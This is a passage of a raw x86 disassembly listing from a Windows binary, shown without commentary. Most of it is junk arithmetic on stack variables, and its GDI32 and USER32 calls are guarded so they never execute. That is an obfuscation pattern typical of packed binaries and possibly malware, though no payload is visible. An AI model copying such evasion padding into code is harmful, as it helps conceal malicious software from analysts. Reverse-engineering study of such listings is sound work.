mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1a
pop eax
push 6
pop ecx
jle 0x100365f5
xor ebx, ebx
inc ebx
mov dword [ebp - 0x48], ebx
push 8
pop ecx
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x178], ecx
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x170], ecx
mov dword [ebp - 0x24], 0xbbb66efe
mov dword [ebp - 0x30], 0x467bb1a8
mov dword [ebp - 0x2c], 0x9482
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10036981
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5a8], 0xb5009892
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10036968
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop esi
cmp dword [ebp - 0x10], esi
jge 0x100369a4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd68], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003698c
xor eax, eax
mov dword [ebp - 0x17c], eax
jmp 0x10036a36
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x100369d1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf80], 0x14d2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100369b8
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100369f1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf8], 0xcefa9d19
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100369d9
xor eax, eax
mov dword [ebp - 0xf8], ebx
cmp dword [ebp - 0xf8], eax
jl 0x10036a30
mov dword [ebp - 0x20], 0xf38c0887
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x10036a28
mov eax, dword [ebp - 0xf8]
cmp dword [ebp + eax*4 - 0xf80], 0
jne 0x10036a26
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10036a0e
xor eax, eax
dec dword [ebp - 0xf8]
jns 0x100369ff
inc dword [ebp - 0x17c]
cmp dword [ebp - 0x17c], 0x1d
jl 0x100369af
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x5a4]
mov eax, dword [ebp - 0x5a4]
mov ecx, dword [ebp - 0x174]
sub ecx, eax
neg ecx
sbb ecx, ecx
add ecx, 0xffffd8d6
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, ebx
setge al
mov dword [ebp - 0xd64], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x178]
jge 0x10036aba
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0xd64], eax
je 0x10036abc
mov ecx, ebx
xor eax, eax
cmp ecx, 0xeeb4
setge al
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x2c], 0x6ec79cf1
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x10], 0x17
jmp 0x10036c3a
mov dword [ebp - 0x4c], 0x34d0069
xor edx, edx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], 0x5378470e
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x10]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
add ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp eax, edx
setge cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setl dl
sub eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
inc eax
add edx, eax
xor eax, eax
sub edx, dword [ebp - 0x18]
sub edx, 0xb8a9717
cmp edx, 0x3e458c45
je 0x10036c32
cmp dword [ebp - 0x10], eax
je 0x10036c37
mov dword [ebp - 0x3c], 0x9d1fe905
mov dword [ebp - 0x2c], 0x6568c077
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], 0xfffffff4
jge 0x10036c37
jmp 0x10036ba2
xor eax, eax
push 7
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x24], 0x953c5357
mov dword [ebp - 0x20], eax
jmp 0x10036bc5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x112c], 0x57b06f86
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10036bb4
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
xor eax, eax
cmp ecx, 0xcac2
setle al
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
add eax, 0xfffc
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x4c]
mov dword [ebp - 0x112c], eax
mov eax, dword [ebp - 0x3c]
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff4
jl 0x10036ba0
jmp 0x10036c37
cmp dword [ebp - 0x10], eax
jne 0x10036c44
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xf
jg 0x10036ae6
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 0xb1cecb45
mov edi, 0x7cec7e9a
mov dword [ebp - 0x4c], 0x87a9b65c
xor eax, eax
mov dword [ebp - 0xb64], edi
mov dword [ebp - 0xb60], edi
mov dword [ebp - 0xb5c], edi
mov dword [ebp - 0xb58], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x50], 0x85266add
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10036caf
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1b4], 0x41b3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10036c97
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10036ccf
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x860], 0xff609d70
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10036cb7
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jg 0x10036e2a
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x48], 0x6982b357
mov dword [ebp - 0x24], 0xa4b38b4b
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
je 0x10036d7f
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x858]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ebx, ebx
cmp edx, eax
setge bl
sub ebx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setne cl
sub ecx, 0xf888c554
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp + eax*4 - 0x1b4]
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1b4], edx
mov eax, dword [ebp - 0x10]
cmp edx, eax
setg cl
xor ebx, ebx
cmp ecx, 0xb674
je 0x10036d7c
inc ebx
mov eax, ebx
jmp 0x10036d7f
xor eax, eax
inc ebx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1b0]
cmp dword [ebp - 0xb60], eax
jg 0x10036da6
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1b4]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1b4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1b4]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1b4]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1b4]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x85c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1b4]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1b4]
mov eax, dword [ebp - 0x48]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10036e14
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1b4]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
push 0
pop eax
jle 0x10036cdc
mov esi, dword [sym.imp.GDI32.dll_CreatePalette]
mov dword [ebp - 0x38], 0xb
cmp dword [ebp - 0x38], eax
jl 0x10036e6f
mov ecx, 0xd7bff020
mov dword [ebp - 0x50], 0xfffffff7
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], ecx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10036e67
push eax
call esi
xor eax, eax
mov ecx, 0xd7bff020
dec dword [ebp - 0x30]
dec dword [ebp - 0x38]
jns 0x10036e41
mov dword [ebp - 0x28], 0x87013dce
mov dword [ebp - 0x50], 0x17059141
mov dword [ebp - 0x24], 0x2456160c
mov dword [ebp - 0x5c], 0x3f0244c
mov dword [ebp - 0x2c], 0x5ebec5ec
mov dword [ebp - 0x30], 0x2305aba9
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10036ebc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x920], 0xd7f825e7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10036ea4
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10036edc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd78], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10036ec4
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10036efb
push 6
pop ecx
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x64c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10036ee7
xor eax, eax
mov dword [ebp - 0x28], 2
mov ecx, 0x1d594d03
cmp dword [ebp - 0x28], eax
jl 0x10036fb9
mov dword [ebp - 0x24], ebx
xor edx, edx
mov dword [ebp - 0xd04], ecx
mov dword [ebp - 0xd00], ecx
mov dword [ebp - 0xcfc], ecx
mov dword [ebp - 0xcf8], ecx
mov dword [ebp - 0x48], 0xfffffffd
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x920]
dec dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x920]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setne dl
imul eax, edx
xor edx, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xd70]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setle dl
mov dword [ebp - 0xcf8], edx
cmp edx, dword [ebp - 0x5c]
jge 0x10036f7f
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x920]
mov eax, dword [ebp - 0xd70]
cmp eax, ecx
setl dl
mov dword [ebp - 0x64c], edx
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x920], 0
jne 0x10036fb7
dec dword [ebp - 0x28]
mov ecx, 0x1d594d03
jns 0x10036f10
xor eax, eax
mov dword [ebp - 0x28], 0xfe01bd97
xor ecx, ecx
mov dword [ebp - 0x10], 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], 0x5240ca70
mov dword [ebp - 0x30], 0x3a29add9
mov dword [ebp - 0x50], 0xfffffff8
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0xfffffffc
setne cl
mov dword [ebp - 0x10], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x10]
cmp eax, ebx
setle cl
xor eax, eax
add ecx, dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x1003700e
cmp dword [ebp - 0x10], eax
je 0x1003700e
mov eax, ebx
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003704f
mov dword [ebp - 0x2c], 0x700d62e6
mov dword [ebp - 0x30], 0xffffffff
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1003703f
push 0x4df
push 0x482
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
jmp 0x10037157
mov dword [ebp - 0x4c], 0x5a8
mov dword [ebp - 0x2c], 4
cmp dword [ebp - 0x28], eax
jne 0x1003706b
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1003707f
mov edx, eax
cmp dword [ebp - 0x4c], eax
je 0x10037081
mov edx, ebx
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp eax, edx
push 3
setge cl
pop eax
add ecx, eax
jne 0x10037099
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1003709b
mov eax, ebx
cmp dword [ebp - 0x3c], eax
je 0x100370d7
mov dword [ebp - 0x24], ebx
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setne dl
xor ecx, ecx
cmp edx, 0xffffffff
setne cl
xor eax, eax
cmp ecx, 0xfffffffe
setge al
mov dword [ebp - 0x10], eax
jmp 0x10037157
xor eax, eax
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x100370f8
push eax
push 0x2541
push 0x24fa
push eax
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x27
jle 0x10037159
mov dword [ebp - 0x24], 0xbf567d71
cmp dword [ebp - 0x2c], eax
jne 0x10037138
cmp dword [ebp - 0x4c], eax
jne 0x10037138
cmp dword [ebp - 0x24], eax
jne 0x10037124
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
je 0x10037124
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
dec eax
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x24]
test eax, eax
jne 0x10037138
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x27
push 0
pop eax
jg 0x10037101
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x30], 0x147909b7
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], 0xf6efba1a
mov dword [ebp - 0x24], 0x8373b2c
mov dword [ebp - 0x5c], 0xfffffffd
mov dword [ebp - 0x20], eax
jmp 0x10037197
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x558], 4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10037186
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
dec dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5c]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x48]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x558], edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x1c], 0xf5020f89
cmp dword [ebp - 0x1c], 8
jle 0x100372a5
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], eax
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], eax
push 3
pop eax
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
jl 0x1003727e
mov dword [ebp - 0x24], 0x9642e40c
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x648]
cmp eax, dword [ebp - 0x1c]
jge 0x10037244
mov ecx, dword [ebp - 0x644]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x648], ecx
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xab9c
jl 0x10037244
xor eax, eax
mov edx, eax
jmp 0x10037246
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
mov dword [ebp - 0x24], ecx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10037277
push 0x2009
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
dec dword [ebp - 0x1c]
jns 0x10037209
xor eax, eax
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10037318
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x648], 0x4ea3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003728d
jmp 0x10037316
xor eax, eax
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x20], eax
jmp 0x100372c4
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x7b4], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x100372b3
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
neg eax
push 4
sbb eax, eax
xor ebx, ebx
neg eax
imul ecx, eax
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
setg bl
sub ebx, 0x136
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ecx, eax
pop ecx
setl dl
xor eax, eax
cmp edx, ebx
setge al
xor ebx, ebx
mov dword [ebp - 0x1c], eax
inc ebx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x7b4], ebx
xor eax, eax
mov dword [ebp - 0x10], 0x76820624
mov dword [ebp - 0x24], 0xa147b80b
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003734f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x384], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10037336
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1003736f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1288], 0xef5ead4a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10037357
xor eax, eax
mov dword [ebp - 0x10], 0x1d
cmp dword [ebp - 0x10], 0xfffffffb
je 0x100374c7
jmp 0x10037384
xor eax, eax
mov dword [ebp - 0x2c], 0xb81fdf20
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x100373ad
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1f8], 0x9869ec42
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10037394
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100373c3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x130], 0xfbe58499
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100373b2
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x380]
mov eax, dword [ebp - 0x384]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1f4]
cmp eax, 0xcbfb
mov eax, dword [ebp - 0x130]
setg dl
neg eax
neg edx
xor ecx, ecx
cmp eax, edx
setl cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 0xfff8
setne dl
sub edx, dword [ebp - 0x380]
mov eax, dword [ebp - 0x1f8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setg cl
xor edx, edx
cmp ecx, 8
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1f4]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setge dl
imul eax, edx
test eax, eax
je 0x1003746a
mov eax, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x130]
xor edx, edx
mov ecx, dword [ebp - 0x1f8]
mov eax, dword [ebp - 0x130]
cmp ecx, eax
setl dl
cmp edx, dword [ebp - 0x10]
jg 0x1003748b
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x100374a5
mov edx, eax
cmp dword [ebp - 0x24], eax
je 0x100374a7
mov edx, ebx
mov eax, dword [ebp - 0x380]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x127c], ecx
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffffb
jne 0x10037382
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x100374ee
push eax
push 0x1cb9
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10037518
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x110], 0xe4b28306
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10037500
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10037525
cmp dword [ebp - 0x10], eax
jne 0x1003752b
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffed
jle 0x1003751d
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
sub dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push 3
mov dword [ebp - 0x110], eax
pop ecx
je 0x100375cc
mov dword [ebp - 0x24], 0xffffffff
xor eax, eax
mov dword [ebp - 0x48], 0xfa318711
mov dword [ebp - 0x20], eax
jmp 0x1003756f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1234], 0xfffffffa
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1003755e
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x110]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x1230]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
neg ecx
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x110]
cmp eax, ecx
setge dl
xor eax, eax
cmp edx, 0xdb85613
setg al
mov dword [ebp - 0x110], eax
xor eax, eax
jmp 0x10037630
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x100375ee
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd8c], 0xfffffff6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100375d6
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x10037633
dec dword [ebp - 0xd88]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x10037628
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x110], 0
jne 0x10037626
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10037621
call dword [sym.imp.USER32.dll_GetCapture]
dec dword [ebp - 0x10]
jns 0x10037604
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x100375f6
push 3
pop ecx
mov dword [ebp - 0x38], 0xb1cecb45
mov dword [ebp - 0x4c], 0x87a9b65c
mov dword [ebp - 0xc24], edi
mov dword [ebp - 0xc20], edi
mov dword [ebp - 0xc1c], edi
mov dword [ebp - 0xc18], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x50], 0x85266add
push 2
mov dword [ebp - 0x50], 0xffffffff
pop edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10037690
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1c0], 0x41b3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10037678
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100376b0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x878], 0xff609d70
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10037698
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edx
jg 0x1003780a
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x48], 0x6982b357
mov dword [ebp - 0x24], 0xa4b38b4b
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
je 0x1003775f
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x870], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x870]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ebx, ebx
cmp edx, eax
setge bl
sub ebx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setne cl
sub ecx, 0xf888c554
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp + eax*4 - 0x1c0]
